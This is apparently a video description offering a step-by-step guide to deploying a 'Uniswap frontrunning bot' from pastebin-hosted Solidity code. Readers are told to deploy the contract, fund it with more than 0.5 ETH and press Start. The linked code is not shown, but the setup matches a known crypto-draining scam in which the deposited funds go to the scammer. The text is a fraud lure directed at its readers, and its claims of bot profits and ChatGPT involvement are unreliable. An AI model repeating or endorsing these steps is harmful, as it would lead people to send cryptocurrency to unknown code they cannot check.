Hey there! 👋 Congratulations, in this video you will learn how to make your life easier with ChatGPT:
▪️1. Download MetaMask Extension: metamask.io/download
▪️2. Access Remix: remix.ethereum.org
Note: The bot is only compatible with this version of Remix, so only use this link.
▪️3. Click on the 'Contracts' folder and then create a New File. Rename it as you like, e.g., 'bot.sol'. Make sure it ends with .sol for the Ethereum language.
▪️4. Paste this code into Remix:
2025 updated:
pastebin.com/raw/6DW1UZf3
backup bot source code, if main is not working:
www.pastery.net/buxjfp/raw/
Note: If the text of the code is not colored, simply refresh the browser and then paste the code again.
▪️5. Go to the Solidity compiler tab in Remix and compile the bot.
▪️6. Go to the 'Deploy & run transactions' tab, select 'Injected Provider' as the environment and then 'Deploy'. By approving the MetaMask contract creation fee, you will have created your own contract.
Note: Make sure the name of your bot is selected in the Contract section above the Deploy button. In this case, mine would be 'UniswapSlippageBot - bot.sol'.
▪️7. Check your Contract Address on Etherscan: etherscan.io
Note: Make sure you are the creator of the contract, meaning it is your personal contract.
▪️8. Fund your bot to be able to frontrun transactions.
Note: Make sure your deposit is more than 0.5 ETH (to prevent negating slippage) to your exact contract/bot address.
▪️9. After your transaction is confirmed, click the 'Start' button to run the bot. To stop the bot and withdraw funds - click the 'Withdraw' button
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🔎 How can I restore the old contract again?
Instead of using the 'Deploy' button to create a new contract in the 'Deploy & run transactions' section, you can access your existing contract by entering its address in the 'At Address' field and clicking the 'At Address' button.
Note: Access can only be restored using the same MetaMask account that was originally used to create the contract.
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🔎I'm having trouble creating a .sol file, it just disappears after I try to save it. What should I do?
A: If you're having trouble creating and saving a .sol file, follow these steps:
Go to the video description and copy the smart contract code provided.
Create the File on Your Computer:
Open a text editor (like Notepad or Visual Studio Code).
Paste the code you copied from the video description.
Save the file with a .sol extension (for example, bot.sol).
Upload the File to Remix:
Open Remix in your browser.
On the left panel, click the File Explorer icon.
Click the Upload button (it looks like an upward arrow).
Choose the .sol file you just created on your computer and upload it.
This should solve the problem! Let me know if you need further help.